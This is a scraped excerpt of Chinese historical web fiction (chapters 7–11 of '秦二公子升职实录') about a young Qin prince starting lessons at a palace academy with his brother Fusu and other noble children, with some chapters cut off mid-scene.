“是了,就是李斯李大人。”知道姓名,公孙蓉就能对上号了,“李大人是荀子先生的高徒,今后你们的律法就将由李大人教授。” 公子斐沉默的眨眼睛。 “这就要学律法了吗?”好一会儿,他迟疑着问。 “自然。”公孙蓉点头,“这可是你们最重要的功课之一。”她强调。 公子斐悲伤。 秦朝是一个尚法的国家,公孙蓉又与商君公孙鞅同出公孙氏,羽阳宫自然不缺各种法律条文,公子斐也早就看过一些。 只是,法律条文对年仅六岁的他来说实在有点枯燥,根本看不下去。所以一听要学律法,他立刻脸色发绿,满心拒绝。 “这些太早了吧!”他叫道。“外面那些学室不都要十几岁才开始学么!”别以为他年纪小就不知道! “外面能和你一样么?”公孙蓉理所当然道,“他们从小都要帮衬家务,你需要吗?” 公子斐语塞。 “再说了,各国的公子们哪一个不是从小就开始学习?你已经慢了他们一步了!”公孙蓉对公子斐开蒙的事始终耿耿于怀。 虽然这事本身是因为她看局势险恶低调做人,她也不怨怼任何人,但由于教学最初的不顺,教学进度的缓慢,她总觉得他在起点上就慢人一步了。 “哪有!”公子斐不认。“儿觉得阿母教的很好,不比……不对,是远比外面那些先生教的都好!你们说对不对!”他问公孙蓉的侍女们。 侍女们纷纷点头,夸赞公孙蓉的教学水平。 她们蹭了公子斐的光,得到了罕见的学习机会,心中对公孙蓉母子都十分感谢。这会儿夸起来也十分卖力。并且,因为认识的字多了,夸人的花样也丰富了,倒是把公孙蓉夸得不好意思起来。 “你们就知道同他一起胡闹!”公孙蓉微红着面庞呵斥。 “阿母就是教的很好!”公子斐大声肯定的道。 欢声笑语的胡闹了一会儿,众人重回正题。 公孙蓉笑意盈盈的将嬴政定下的几门功课一一告知,见公子斐哭丧着脸趴在案几上拒绝现实,她又笑着将上课时间也同他说了。 “学宫日出开课,一日两门,到日中结束,日昳去操场学骑射之术,一直到晡时。”公孙蓉笑道。 公子斐:“……?” “日出?”他不可思议惊叫。 “日出。”公孙蓉点头。 “这么早!”这下,公子斐不丧了,他直接嚎叫。“日出就开课,那不是平旦就要出门了!太阳都还没升起来呢!”他平时都是快食时了才起床! 公孙蓉但笑不语。 “不行不行!这学真不能上了!”嚎着嚎着公子斐就站起了身,他飞快的凑到公孙蓉身边连声赞美她的教学能力。“好阿母,我们就在宫里学吧。”他扒着她的袖子哀求。 公孙蓉就笑着看他表演。好一会儿,才悠悠道:“你既然知道黔首们十几岁上学,那你知道他们平时都几点起床吗?” 公子斐将脑袋埋在公孙蓉怀里不说话。 “再说了,王上不也是如此?”她慈爱的摸了摸他的脑袋。 公子斐欲哭无泪。 “就没有什么好点的消息吗?”公子斐悲愤。 “读书还不是好消息?”不客气的在他脑门上敲了一下,公孙蓉反问。 “这怎么能算!”公子斐不服。 “不算也得算。”又敲了一下,公孙蓉一锤定音。“至于其他消息……王上觉得你是大孩子了,给你增加待遇算不算?” 公子斐原还想继续嚎,一听待遇,他两眼一亮立刻惊喜:“那阿淇他们是不是可以回来了?” 公孙蓉:“……” 她刚想说明天找个时间去隐宫挑几个机灵的读过书的给公子斐当书童。 “你就这么喜欢李淇他们?”公孙蓉皱眉。 “因为很熟悉呀!”公子斐理所当然道。“儿有什么习惯他们都清清楚楚。” 刘言也很机灵很会察言观色,但他们相处的时间毕竟还短,他还处于摸索公子斐习惯的阶段,这用起来就有点不顺手了。更何况有李淇的前车之鉴在,未免步他后尘,他比李淇更重规矩,也更放不开,公子斐用着也就更不顺手。 小孩子忘性大,要是没有增加待遇这个事,不喜无缘无故贬斥他人的公子斐用着用着可能也就习惯了,磨合了,久而久之也就把李淇他们忘了。但现在他们才刚离开没多久,又恰巧有这个机会,公子斐当然还是想让更顺手的李淇他们回来。 “你该知道他们是因为什么被赶走的吧。”公孙蓉沉声。 若只是溜出去玩也就罢了,但是爬树!还是这么高的树!若有什么万一——若有什么万一,就是将他们夷族车裂亦不能解她心头之恨!她无意识的加重了手中的力道。 “儿知道,阿母是关心儿。”感受着头顶的力量,公子斐小声道。“但这都是儿的主意,下次不会了。”他简直再也不想爬树了。 “我还不知道你?没了这个主意也会有新的!根本闲不住!”公孙蓉气恼。 “这个……”还真是……公子斐无法否认。“哎呀没办法,宫里太无聊的了嘛。” 前朝的权力斗争延伸到后宫,整个咸阳宫都风声鹤唳。为了不被波及,公孙蓉连上奏为儿子请蒙师都不敢,对公子斐的看顾自然也是严上加严。公子斐现在这么爱溜其实就是当时留下的阴影,他实在是被关怕了。 “反正以后要上课了,儿也没时间出去玩了,阿母就行行好放他们一次吧。儿保证不会有下一次!” 刚还叫着不想上学,这时候又把上课拖出来当理由。公子斐抱着公孙蓉的胳膊又是发誓又是讨饶,十八般 7. 第七章 《秦二公子升职实录》全本免费阅读 三天的准备很快过去,学宫开课的日子终于到来。 这天,公孙蓉难得没有出门去辅助楚夫人处理宫务,而是殷切的,期盼的,忐忑不安的亲自牵着公子斐的手往芷阳宫而去。 当她到的时候,比她稍远一些的郑夫人正领着公子扶苏下羊车。只见她很是小心的帮公子扶苏理了理领口,拉了拉衣摆,又仔细叮嘱了好几句,这才将依依不舍的将公子扶苏转交给等候的芷阳宫侍从。 “你们也来了。”最后摸了摸公子扶苏的脑袋,郑夫人这才转身看向公孙蓉。 “许久不见,二公子又长高了一些呢。”郑夫人笑道。 “可不就是,简直一天一个样!衣服都不好裁。”公孙蓉带着些许抱怨的口吻回道。她也上下打量了几眼站的挺直的公子扶苏,笑道:“大公子瞧着就是稳重,不像我们老二,坐没坐相,站没站相,整天就知道闯祸。”她忍不住又瞪了公子斐一眼。 公子斐无辜的回视她,然后,就在她转过身去的时候悄悄吐了吐舌头。 “噗!”刚好看到的公子扶苏一不小心就笑出了声。郑美人也忍不住勾了勾嘴角,拿帕子遮着小声轻笑了两下。 公孙蓉看他们的模样就知道儿子在作妖,她抬手就在公子斐的脑袋上狠狠的敲了一下。 “哎呦!”公子斐抱着脑袋低头,安分了。公孙蓉则就着这个话题与郑夫人抱怨了起来。 “叫你们看笑话了。”公孙蓉叹气,“这小子平日里就是这样,一个不注意就要闹事,根本停不下来!妾都不知为他废了多少心思!” 想到他之前被嬴政当场抓包,公孙蓉想到就气不打一处来。“真羡慕妹妹,要是我们老二有大公子一半稳重,妾也就安心了。”她羡慕的瞅了一眼安静的扶苏。 “姐姐可别这样说,小孩子还是活泼些的好,我们扶苏这样的,八竿子打不出一句话,闷葫芦一个,妾都担心死了。”郑美人连忙反驳。虽然她很满意扶苏性格,但这种时候当然是不能直言的,毕竟,谦虚是一种美德,为了儿子的未来,这种美德她必须拥有。 于是,郑美人说着便也瞪了自己儿子一眼。 公子扶苏:“……” 无辜被瞪的公子扶苏看不出这里的花头,对比自己和二弟的表现觉得自己确实有些沉闷的他还以为母亲真是如此,当即不好意思的低下了头。“叫阿母担心了。”他老实道。 郑美人:“……” “瞧这孩子!”这下,她是真的无奈了。 “实诚好呀,实诚的孩子才叫人放心。”卫美人柔声安慰她。 两人互相谦虚了几句,又是一顿商业互吹。好一会儿,待双方都满意了,卫美人才拍拍公子斐的肩膀轻斥:“愣着作甚,还不快给两位见礼!” 公子斐眨眨眼,立刻上前一步给郑美人和公子扶苏一人一个大大的笑容。“见过郑美人,见过大兄!”他特别热情的看向公子扶苏:“以后就要一起学习了,还请大兄多多照顾呀。” 之前都是自己在宫里背书,他还没和其他人一起学习过呢!也不知是个什么滋味。他兴奋的想。 扶苏一怔,连忙避了开去。“二弟不必如此。”他也向公子斐见礼:“作为兄长,自是应当照顾弟弟的。”说着,他便露出一个温和的微笑。 “那我们就一起用功吧。”公子斐笑道。大半个月不见,大兄的神情比之前开朗了一些呢。他想。 “没错没错,兄弟同心,其利断金,你二人合该如此。”郑美人也笑。 公孙蓉看了她一眼,也微笑附和。 依依与两位母妃告别,公子斐和公子扶苏一起进了芷阳宫。 芷阳宫作为夏太后曾经的寝宫,环境以静幽怡然为主,很是清雅,这回整改为临时学宫,不仅增添了阵阵墨香,还多了几分活泼气息,看着立刻就与之前大有不同。 公子斐之前偷跑进来的时候算是将芷阳宫都逛遍了,这回走正门重游,他一边走一边在心里细数芷阳宫的变化——这里的盆栽移动了,那里的花卉换了新,树上竟然还悬了秋千,好想去荡一下! 他盯着秋千有点走不动路。 公子扶苏见他落下,不由又笑了一下,自己这个弟弟看着还真是活泼,和他完全不一样,也不知卫美人是怎么教育他的。想到郑夫人对他言行举止的重重要求,公子扶苏在心里叹气。一定和他不一样吧,总觉的有点羡慕呢。 他开口叫了公子斐一声。 公子斐不情不愿的应了一句,很快跟上。 “二弟喜欢荡秋千?”继续往前走,见公子斐的心思似乎还停留在秋千上,公子扶苏好奇的问了一句。 出于“大公子”的庄重,这些个小玩意儿他是一样都没玩过的。原本他对此也没有什么兴趣,但看与他年龄相仿的公子斐如此在意,他心中隐隐也生出了几分好奇。 “也还好,就是之前只在二姐那边玩过,有点怀念。”楚夫人虽出身特殊但她一贯是安分守己的,对后位没什么野望,所以教育女儿的时候也以宽松愉快为主,并不特别要求庄重。她们居住的平阳宫有许多玩乐的器械,公子斐去玩过一两次,对此念念不忘许久。 “可惜我阿母不让我在宫里装备这些……”他小声咕哝。毕竟是位小公子,卫美人对公子斐的要求还是比楚夫人对阴嫚要严格许多的,可惜上有政策下有对策,宫里不让玩他就溜出宫去玩,可见有些事情并不是防范就能阻止的。咳咳。 公子斐的小小抱怨让公子扶苏又笑了起来。他突然发现自己今天笑的次数似乎比之前一个月都要多了。 “即是新加的,那定是为我们准备的,二弟之后必然足够的时间玩乐,现下又何须在意?”公子扶苏笑道。 公子斐想想也是。 “那到时候我们一起玩,大兄来帮我推秋千,斐也帮大兄推!”他愉快的决定。 公子扶苏一怔,不由又笑了起来。 “嗯,好。”他轻快的点头,答应了弟弟这个小小的要求。 两人继续沿着主路往前走。在侍从的带领下,他们先点了香去正殿祭祀白青黄赤四帝,接着才往读书的侧殿而去。 “见过大公子,见过二公子。” 他们到的时候勋爵与大臣家中与他们年龄相仿的少年基本都已经到了,见他们过来,原本坐着的公子们都站了起来,同他们见礼。 “免礼。”公子扶苏沉稳应对。他在一片“谢公子”的应答中走到左边第一排的第一个位置上郑重坐下。公子斐则顺势在右边第一排的第一个位置上坐下。 随着他的入座,侧殿的其他小公子们也纷纷坐下,大家即安又静的对着自己的桌案发呆。 ……唔,这样有点无聊阿。 书案上的笔墨纸砚都是侍从们事先准备好的,基本不需要重新整理。还没开始上课也不知道该预习什么,静不下来的公子斐只安静了几息就开始无聊了。他左看看,右看看,眼珠子一转,很快给自己找到了新乐子。 “大兄,学宫新开,彼此都不熟悉,不如让大家互相介绍一下?”一片寂静中,公子斐的声音突然响起。他起身来到公子扶苏的身边,笑着看了一眼他身边的少年。 “介绍?”公子扶苏一怔。因为来之前就大致知道会有哪些同窗,他还真没想过这个问题。不过既然公子斐提议—— 公子扶苏转头看了一眼似乎因为公子斐的提议而僵住的少年。他心里对他的身份有九分肯定,不过也发现由于竹简名册上只记载了诸位同窗的姓名身高和肤色,乍一眼确实有点难对起来的问题。 “是了,是该如此。”想着左右离上课确实还早,趁此机会互相认识一下也好。他很快点头,并行动力极强的向自己的同桌搭话。“敢问公子是……” “呃!” 虽然听两位公子闲聊时就有所预料,但真找上他的时候这位离他们最近的少年还是紧张的冒汗。“我、我是昌平君的儿子熊庆,行三,今年六岁了。见过两位公子。” 他磕磕绊绊道,或许是过于紧张,他竟是忽的起身向公子扶苏和公子斐行了一个大礼。 公子扶苏和公子斐吓了一跳,赶紧起身避开。公子扶苏更是上前一步将他扶起。 “原来是熊公子,幸会幸会。”公子扶苏笑道。他一边笑一边在脑中比对他看过的资料,身高五尺一,肤色白皙,年六岁,果然一条不差。 “前些时日多亏令尊相助了。”公子斐也道。 嬴政加冠亲政的时候,昌平君平蕲年宫之变有功,就任右丞相,算是现在最有权势的大臣之一。熊庆能坐公子扶苏旁边便是因此。 “幸不辱命,幸不辱命而已。”熊庆连连摆手。他略显局促的干笑了一下,带着满脸“我不能一个 8. 第八章 《秦二公子升职实录》全本免费阅读 “都到齐了?” 笑呵呵的在先生位站定,蔡泽扫了一眼还在慌慌张张找位子的小公子,温声问。 “回蔡大人,都到齐了。”公子扶苏主动起身回答。 “很好很好。” 待那位小公子终于找到自己的案几,带着一副恨不得当场消失的表情坐下,蔡泽满意的捋了捋胡子。他环视殿内诸公子,确认所有人都到位了,这才开始讲话。 他先是发表了一通“蒙王上看重担任学宫学佴,他必将全力以赴不负王上信任的”感言,接着就是对他们介绍他们需要在学宫学习的课程和教授他们课程的几位先生。 首先是那位圆圆胖胖的胡毋敬胡毋大人,他们的第一课便是由他来上。 接着是讲授《商君书》的甘罗。蔡泽说这是学习秦律的基础,《商君书》讲完才会由新任廷尉的李斯李大人来授课《秦律》。 然后是教授礼制的太乐王绾。据说他的先祖出生西周王室,是王室东迁时留下来的一支,对礼乐最是了解。 还有教授算数的平准令隗状。他似乎是嬴政微服私访时亲自发掘的人才,因为才能突出连跳几级直入中央。 最后是指导他们锻炼身体的中尉丞蒙毅。蒙氏一族的荣耀不需多说,蒙毅虽然因为身体的原因无法前往前线打仗,不过指导指导小朋友还是绰绰有余的。 总的来说,星光烨烨,每一位先生都大有来头。 蔡泽说,因为他们现在还小,所以暂时只有这几门功课,等再大一点,功课还会继续增加,希望大家不要辜负“王上的看重”,好好学习,天天向上,为大秦美好的明天做建设。 公子斐:“……” 已经从早学到晚了,还能怎么增加啊!公子斐傻眼。 如果说之前他还兴致勃勃的对着先生回忆公孙蓉给他的资料,那听完这句他就只想趴下了。 可惜,当着睽睽众目,就算是不怎么在意形象的他也实在做不出这种事,只能干挺着背僵硬的随大众一起附和。 蔡泽见状,满意的点头,他将先生之位让给胡毋敬,留下一句有什么事就去侧殿找他便带着其他几位先生离开了。 待他出门,胡毋敬便开始上课。 他先是让诸位公子一人准备几支空白竹简和一枚空白木牍——这些侍从准备的书案上都有——然后又命人将事先准备好的大木板抬上来架好,这才悠悠讲起秦王室的历史。 从英明伟岸的君主到政绩斐然的大臣。胡毋敬先是花了大约一炷香的时间大略为诸位公子介绍了一番秦国历史的知名人物。接着,他又开始将才消失没多久的周王室。他用先扬后抑的方式赞扬了周王室先祖的英明神武,然后着重讲后代的昏庸无能。最后总结以史为鉴的重要性,并说等秦朝的历史学完他们还要根据《书》来学习历朝历代的历史。 将他们这一门课的内容大致介绍完毕,胡毋敬提笔在身后的大木板上写下一行大字——玄鸟陨卵,女修生业。 意思是五帝之一颛顼帝的后代女修吞食玄鸟遗落的鸟卵后生下了他们赢姓最初的先祖大业。 这是赢姓的起源。 “那么接下来我们就正是开始今天的功课。”敲敲木板,胡毋敬朗声道。 他从大业之子伯益协助大禹治水开始讲,在重点介绍了与帝舜一族的联姻与依靠调训鸟兽而获赐赢姓的历史后,今天的课文就此结束,接下来便是学习复习的时间了。 他先是带着诸位公子将整篇念了几遍,又逐字逐句的讲明释义,最后命他们依样抄在自己的竹简上。 胡毋敬还贴心的表示不会写的字可以先在木牍上练习几遍,等熟练了再抄到竹简上。 “以后王上检查功课就是检查你们的竹简,要好好保存。”他特别提醒。 公子斐:“……” 怎么这个也要检查啊! 他苦着脸在木牍上练字,一面写完就让待命的侍从拿出去削一层再写。如此几番,他才敢往竹简上写。只是,即便如此,他也写废了五支竹简才终于出了一支比较满意的。 真是太不容易了。 公子斐忧伤。 开蒙的时候他虽然也每天有固定时间习字,但他习字都是在木牍上写大字,几乎没写过这么小的字。这会儿突然来这么一遭简直手忙脚乱。 大字小字写起来的感觉完全不一样! 公子斐刚开始写的时候好几次都糊作一团,还是胡毋敬来帮他纠正了姿势,讲明要点他才终于能写的像样一点了。 感觉之前的字都白练了。公子斐哭丧着脸想。 在沙沙笔墨中,一节课就这样过去了。在确认每个人都像模像样的抄了一篇课文后,胡毋敬愉快的宣布提前下课。 他笑呵呵的建议公子们劳逸结合,去院子里逛逛放松放松,并提醒他们下节课不要迟到。 “商君的思想十分重要,诸位公子可要好好学习!”他嘱咐。 “一定一定。” 在一片躁动的敷衍中,胡毋敬背着手离开了。他一走,他的儿子胡毋礼立刻受到了全侧殿围攻。 “这字也太难写了!” “毫无准备啊!” 胡毋礼干笑着求饶。 “让我看看你写的怎么样!”口头谴责就算了,还有上手的。只见熊庆一把夺过胡毋礼的竹简拿到手中细看,越看眉头越深:“好啊!你果然在家提前学习过!”他不甘的大叫。 这又引起了殿内其他人的注意。 “给我看看!” “哇你写的真好!” 竹简在众人手中传阅,胡毋礼阻拦不及,只能欲哭无泪。 “看完了记得还给我!”他摊在案几上烂摆。 有焦虑自己写不好的,羡慕其他人写得好的,自然也有坦荡荡对此毫无压力的。王将军家的小儿子王安对此就很淡定。他是王翦将军的幼子,王老将军晚年得子对他疼爱的不行,不求功也不求勇只求儿子平安所以取名为安。 家里对他没要求,王安当然也不会自找麻烦。他既不关心胡毋礼的阿父也不关心胡毋礼的竹简,优哉游哉的收拾了刀笔就跑出去玩了。 “果然还是应该去阻止一下。” 正当公子斐望着王安的背影想自己是出去玩还是在位置上休息的时候,公子扶苏突然道。 公子斐诧异的看向他,他便指了指还在传阅的竹简小声说“这样不好”。 “二弟要和我一起去吗?”公子扶苏问。 公子斐不是很想,但他大兄都这样问了,他觉得拒绝也不是很好。 “在说什么呢?”正好这时候公孙辰也理好自己的刀笔过来了。 “大兄觉得不太好,正想说要不要阻止一下。”公子斐向人群努了努嘴,小声道。 “这有什么,他们不就随笔玩玩么。”公孙辰不以为然。 公子扶苏听了他的话犹豫了一会儿,但很快,他还是决定起身前去阻止。 公子斐与公孙辰面面相觑。 片刻,公子斐叹了一口气,也随他哥而去了——总觉得他这大哥有点直愣愣的,他还是在旁边看着点吧。 “你们在看什么呢?” 正想看看他大兄准备怎么阻止,公子斐就看他面孔一板一副准备呵斥的模样。公子斐一边暗叫不好一边快人一步随便拉了个人高声问。 “看胡毋礼写的字啊,他们都说他写的挺好的。”被拉住的那个理所当然道。 9. 第九章 《秦二公子升职实录》全本免费阅读 《商君书》公子斐之前就已经背过,所以甘罗布置的功课对他来说就是没有功课。但公孙蓉之前叮嘱过他不要太引人注目,所以众人喧闹的时候他也混杂其中,一起嚎两句,众人安静下来,他也像模像样的低头抄起了书。 公子斐的抄书不是说说的,为了打发无聊的时间加深印象,他是真的将课文抄了一遍,纯当练字了。等他一遍抄完,一部分进度快的人开始小声背书,他才放下笔,抱着自己抄好的课文上前请教。 “甘先生,小子有一事不明,还望指教。”公子斐恭敬道。 “二公子请问。”甘罗笑着请公子斐在他的案几旁坐下,并贴心的给他倒了一碗水。 “敢问先生为什么要变法?”公子斐问。 甘罗一怔,似是没想到他会问这样的问题。 “是为了变强吗?那‘三代’为什么会灭亡呢?他们不变法吗?”公子斐疑惑。他所说的“三代”便是指夏商周。 五霸能因变法强,那周为什么不可以?眼看着不如自己诸侯国能变的能对自己耀武扬威,他们不想变强吗?公子斐想不通。 《商君书》的第一篇就是变法,可见变法的重要性,那“三代”为什么不变法?他们不想变强不想延续吗?公子斐不理解。 这个问题他也曾问过公孙蓉,当时,公孙蓉想了很久,最后指着羽阳宫院子里的一颗大树说:“一个新的朝代新的国家就像院子里的这棵树,随着树的成长,会有枯枝残叶也会有疾病虫害。而君王和群臣就是照顾这棵树的园丁,变法就是对树木的修剪。通过变法,园丁修剪掉树上已经损坏的部分,防止病害扩大,污染整棵大树。通过变法,他们去除多余的枝桠,控制树木生长的方向,使他能茁壮成长。所以变法很重要,一个国家一个朝代必须适时变法才能长久的存在下去。” “至于前朝为什么不变法……”她想了想说,“前朝并非没有变法,历王就曾经实施过变法。只是当轮到他这位园丁照看大树时,大树已满是病痛,大刀阔斧的变法只会让苦苦支撑的主干更加不堪,所以最终他失败了。” 两个问题都回答了,所以当时的公子斐对此表示了理解。但是近日为学宫开课而重读《商君书》,相同的疑问再次在他心中浮现。正好甘罗说有问题可以向他询问,他这就来问了。 甘罗:“……” 他只是普通的给小公子们上一节课,为什么会遇到这种问题?这可是放到朝堂上讨论都会引起争执的大问题啊! 甘罗有些苦恼又感到几分刺激。 在他面前的不是什么普通人,是秦国的二公子。虽然王上春秋鼎盛,年轻力壮,现在考虑后继问题还太早,但有能问出这样问题的公子,甘罗觉得也不是不可以提前考虑。 当然,他也只是想想。现在最重要的还是怎么回答公子的问题,这可是一不小心就会影响秦国未来的大问题。他饶有兴致的观察了公子斐片刻,问:“想必公子已经看过《书》了?” “已经看完了。”公子斐恭敬的回答。 “那公子自己是怎么想的呢?”甘罗又问。 公子斐先是将公孙蓉的理论复述了一边,然后得出结论变法要趁早,不能等大树病入膏肓再去修剪,并且,变法也要适度,不能大刀阔斧的变。 只是,这又衍生出另外的问题。首先,什么时候变法才是恰当的时候?其次,历王变法失败,宣王效文武成康之风中兴,这又该如何解释?最后,要说大刀阔斧,那恐怕再没有比商君更大刀阔斧的了,为什么商君变法秦国变强了,历王变法西周却更弱了? 如此种种,每一个问题都会衍生出新的问题,公子斐自己想只感觉头都要晕了。 “还请先生教我。”公子斐向甘罗一拱手。 甘罗没有避开。 他想了想,就着公孙蓉的说法问:“公子既然有此疑惑,那你问过花工如何植树吗?” 公子斐一愣,摇头。 “那公子为什么不问问花工呢?”甘罗笑道。 公子斐茫然的望着他。 “种树的问题,难道不是问花工最快?”甘罗理所当然道。 这下公子斐懂了。他气鼓鼓的瞪着他:“先生好狡猾。” “孔丘曾说三人行,必有我师。公子要有不吝向任何人请教的气度呀。”甘罗笑眯眯的说。 公子斐还是瞪他,好一会儿,确定他不会再说什么,他才恹恹的耸拉了肩膀。 “好吧,那我先去问问花工。”公子斐答应,“如果还有不明白的能再来问先生吗?”他又问。 显然,他并不觉得侍弄花草的工匠能给他什么启迪。 “当然。”甘罗笑着点头,“我还要教你们好长一段时间呢。” 拖着脚步回到自己的座位,公子斐对着抄好的文章发了一会儿呆。他现在有些无事可做的茫然。 要不再练一会儿字? 他提起笔摸出一枚木牍,正准备练习的时候,身后突然传来一支竹简。 是公孙辰,问他刚才去问什么了,怎么回来这副样子。 公子斐盯着竹简看了两秒,突然两眼一亮,下笔如有神的在木牍上飞快的写了起来。他写了一肚子抱怨扔给公孙辰,看得他直咋舌。 “甘先生是怎么你了?” 下了课,公孙辰赶紧过来问。他比公子斐大一岁,来学宫之前被家里耳提面命要照顾好表弟。 原本他还想这有什么难的,但现在他却觉得这可能真的有点难——公子斐写了一大通抱怨结果他愣是一个字都没提他问了什么。 “不是说了么,推卸责任!”撇了撇嘴,公子斐收起自己的刀笔交给在门口等候已久的刘言,随大流往外走去。 坐了一上午,脚也麻,屁股也痛,该活动活动了。 “也不知道蒙先生准备教我们什么?是先学射术,还是马术。”他小幅活动了一下自己的身体,去内室换了更容易活动的衣服。 事实证明,公子斐想多了。蒙先生既不教射术也不教马术,而是教他们跑步。 只见他臂系红巾在前头领跑,一群短胳膊短腿的公子女公子零零散散的跟在后面。 是的,这节课女公子们和他们一起上。 他们绕着宫殿前的月台慢跑,有掉队摔倒的,侍从医工一拥而上,多番检查确保无伤后就哄着对方继续跑。 蒙毅的要求是第一天跑一圈,此后每十天加一圈。 他这要求刚提出来的时候诸位公子女公子还不以为然,但一等开跑,院子里便满是哀嚎。 “救命啊!谁来救救我!” 学宫的各位都是家里的宝贝,可能从来不知道“遵命”或者“不行”这两个词。跑不动就不跑?这可由不得你。 第一个试图赖在地上不跑的很快就被拖去一边挨笞了。想装病的,也在医工无情的诊断下去陪打了。还有想着能不能以走代跑的,一只留着口水的大狗很快追上了他的脚步。 下有对策,上有政策,魔高一尺,道高一丈。 几位先行 10. 第十章 《秦二公子升职实录》全本免费阅读 “大兄,二兄,三妹!” 大约是刚跑完步,大家脸都红扑扑,这次见面不论是大公主元嫚还是二公主阴嫚看着都精神许多,不复上次见面的多愁。 “两位姐姐如何?”公子扶苏先问。 “我还可以。”元嫚的年纪最大,跑起来也最轻松,她现在坐在这里纯粹是为了陪妹妹。 “累死人了。”阴嫚则是一边擦汗一边抱怨,“本公主从来没出过这么多汗。”她跑的简直想哭。 “换一块吧。”公子斐见她的帕子都被汗浸透了,从怀里掏出自己的递给她。“看现在还早,等会儿说不定还有别的功课。”怕她拒绝,他顺便补充了一句。 “还有别的?”阴嫚惊叫。 “只是小弟的一点猜测。”公子斐笑道。 “确实,相比前两门功课,这节课的课业太少了。”公子扶苏也点头认同。“或许等我们休息够了还要再跑一次。”他猜。 “或者几次。”公子斐补充。 “几次?!”阴嫚尖叫。还要再跑已经令人绝望,还“几次”!“我现在晕倒还来得及吗?”她真诚发问。 “或许过一会儿比较好?”公子斐建议,“你现在晕了医工有足够的时间把你叫醒。” “但等会儿就更没理由晕了呀!”阴嫚真的要昏迷了。 元嫚安慰的拍了拍她的肩:“坚持。” 清嫚也上前一步拍拍她的手:“二姐加油。” 阴嫚:“……” 果不其然,一段休息时间过去,蒙毅又将诸位公子女公子召集起来跑第二圈。 这一次可没人敢说“不行”了,大家期期艾艾的排着队跟他跑。 “按这个节奏最起码可以跑四圈。”一边跑,公子扶苏一边估计。他顺便将他们之前的猜测告诉了公孙辰。 “他还是人吗!”公孙辰这下也要昏倒了。“我长这么大还从来没跑过这么长的路!” “谁不是呢。”公子斐也是叹气。他在宫里溜达可都是要人抱的! “我要回去告诉父王!”阴嫚这下真要哭了。 元嫚赶紧安慰她。“到时候我陪你一起。” 阴嫚泪汪汪的回视她,片刻,两人一同往队伍最后一拐一拐向前跑的两个受刑者看去。 不看不知道,一看吓一跳。 “刚才没注意,那是不是纲成君的孙子?好像是叫蔡什么……蔡英?”阴嫚迟疑着问。 “好像是的。”听她们说话,居心不良的公子斐和公孙辰也回头看了一眼。 “另一个是长公主家的吧?”公孙辰的脸都绿了。 长公主家的都打了,那他…… 公孙辰瞬间安静如鸡了。 两位公主也识相的闭上了嘴。 她们拖着沉重的脚步大汗淋漓的跑完了全程,等全部人都跑完,蒙毅主动消失让大家好好休息,才轻细如蚊的凑在一起抱怨。 “我们可是公主!他敢打我们不成!” “就是!” 话是这样说,但不跑是不可能的,她们谁也没勇气去挑战笞刑。 一看就好痛! 她们看着又被医工围住的纲成君的孙子想。 公主都不敢挑战蒙毅的权威,小小的公孙辰当然更不敢了。他唯一能做的只有放弃和躺平。 “不会真的还要再跑两次吧。我会死的!我真的会死的!”公孙辰躺在草地上嚎叫。 “哥哥真没用。”和新伙伴手牵手一起过来围观的公孙怡忍不住吐槽。 “阿怡你怎么也——!”惨遭妹妹痛击的公孙辰流泪。 “实话实说罢了。”公孙怡一点不给哥哥面子,“接到王上诏令的时候阿父愁的头发丝都掉了好几根,就怕哥哥给他送个倒数第一回去。今天真是谢谢纲成君了。” 好歹有人垫底。 “表哥的身体到底是什么情况?要不要请太医令看看 ?”公子斐关切道。 今天之前他都不知道自己这位表哥如此虚弱呢。 “已经看过好几回了,似乎是娘胎里带出来的毛病,治不好,只能调养着。”公孙怡无奈。 “这就有点难办了。”公子斐忧愁。 “也没办法,家里都习惯了。”公孙怡耸肩。 “我家似乎有支老参,需要的话可以给妹妹送去。”公孙怡的小伙伴突然道。 “你是?”本来就都是同龄人在闲聊,刚公孙怡自然插进来他们也没觉得不对——其实公孙怡和其他公主公子也不熟,不过因为公孙辰的缘故她融入的更加自然——这会儿才发现还有不认识的。 “这是阿若,王老将军的孙女!我今天刚认识的。”公孙怡向他们介绍。 “见过几位公子。”王若小小的行了一个礼。她这进退有礼,淡定自若的动作,让摊倒在地的几人同时感到了几分羞愧。 “不愧是王老将军之后。”公子斐挣扎着起身。被这么折磨了还能有这样的气质。 “巾帼不让须眉。”连挣扎都无力的公孙辰唯有泪流。 “不过还是不用了,没用的,我家都试过好多了。”放弃挣扎,认命躺平,公孙辰谢过王若的建议,到底还是回绝了。“阿父为了帮我治病连王上都求了,宫里赐了好多药,结果我虚不受补,又大病了一场。现在我们全家都认了,能活多久是多久吧。” 公孙辰十分泰然。 还是第一次知道有这回事的公子斐不由拍了拍他的肩膀,表示鼓励。 “要不要求蒙先生宽限一些?”公子斐问。客观体虚的话应该还是能通融的吧,就像清嫚一样。 公孙辰超心动的想了想,还是拒绝了:“现在这样虽然累了点但也还行吧,真吃不消我再去求蒙先生。” 虽然跑一圈真的很累,但蒙毅给的休息时间相当充足,所以公孙辰感觉也还好,不是不能坚持。 当然,一群小伙伴就他一个不行他也实在拉不下这个脸就是了。 “那我陪你慢慢跑吧。”公子斐道。 虽然公子扶苏才是他哥,不过对他来说还是公孙辰更亲近一些,他并不介意陪他跑个倒数第几。 “不用不用,你可是二公子,倒数也太丢脸了。”公孙辰连忙拒绝。不管是出于自己哥哥的身份还是家里的要求都该是他照顾公子斐,怎么能让公子斐反过来照顾他? “有什么关系。”公子斐无所谓道。 关系可大了。公孙辰想。“这事关我的屁股!” 公子斐:“?” “要是叫阿父大父知道是我拖累了你他们非打死我不可。”公孙辰小声咕哝。 当然,这话是不能说的,特别是当着大公子扶苏的面。因为公孙蓉的关系,他们家算是铁杆二公子党,就算二公子 11. 第十一章 《秦二公子升职实录》全本免费阅读 虽然一开始说了只去助威,但看久了不下场是不可能的。到最后,不仅公子扶苏和公子斐下场完了几把,连公孙辰都一起玩了一局。等诸位大臣来接公子女公子们下课的时候,因为一场比赛还没踢完,几个参与的公子都不乐意停下,双方僵持许久,很是闹了一场才被摁着脑袋带走。 好不容易才排到上场位置的公孙辰就是其一。 因为担心他的身体,身为勋爵并不特别需要上朝的公孙若几乎是掐着点来接人,结果公孙辰不肯走,公孙怡也和小姐妹依依不舍,最后愣是叫他等了小半个时辰才把这对兄妹领走。 公子斐和公子扶苏也是一样。他们两的体力技术都不错,上场了就是各队的中坚力量,彼此你来我往的,一直踢到大汗淋漓彻底跑不动了才双双下场。 “你刚不是挺柔弱的么?”看公子斐和公孙辰一起没形象的躺地上便以为他和公孙辰一样体虚的阴嫚忍不住吐槽。 